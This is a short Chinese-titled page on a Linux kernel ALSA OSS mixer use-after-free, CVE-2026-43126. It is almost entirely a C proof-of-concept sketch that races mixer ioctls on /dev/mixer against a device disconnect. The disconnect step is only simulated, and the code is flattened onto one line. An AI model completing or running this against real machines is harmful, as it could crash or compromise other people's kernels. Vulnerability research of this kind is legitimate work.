CVE-2026-43126 Linux内核ALSA混音器UAF漏洞

/* * PoC Concept for CVE-2026-43126 * Triggering race condition in ALSA OSS mixer layer * Compile: gcc -o poc cve_2026_43126.c */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/soundcard.h> #include <stdio.h> #include <pthread.h> int fd; void *trigger_mixer_ops(void *arg) { int vol; // Continuously trigger mixer operations to simulate pending calls while(1) { ioctl(fd, SOUND_MIXER_READ_VOLUME, &vol); } return NULL; } void *trigger_disconnect(void *arg) { // In a real exploit scenario, this would trigger the device disconnect // e.g., by unloading the module or simulating hardware removal. // sleep(1); // Slight delay to allow ops to start // system("rmmod snd_pcm_oss"); printf("Simulating disconnect timing...\n"); return NULL; } int main() { pthread_t t1, t2; // Open the mixer device fd = open("/dev/mixer", O_RDWR); if (fd < 0) { perror("open mixer failed"); return -1; } printf("Starting PoC for CVE-2026-43126...\n"); // Create threads to race mixer ops against disconnect pthread_create(&t1, NULL, trigger_mixer_ops, NULL); pthread_create(&t2, NULL, trigger_disconnect, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); close(fd); return 0; }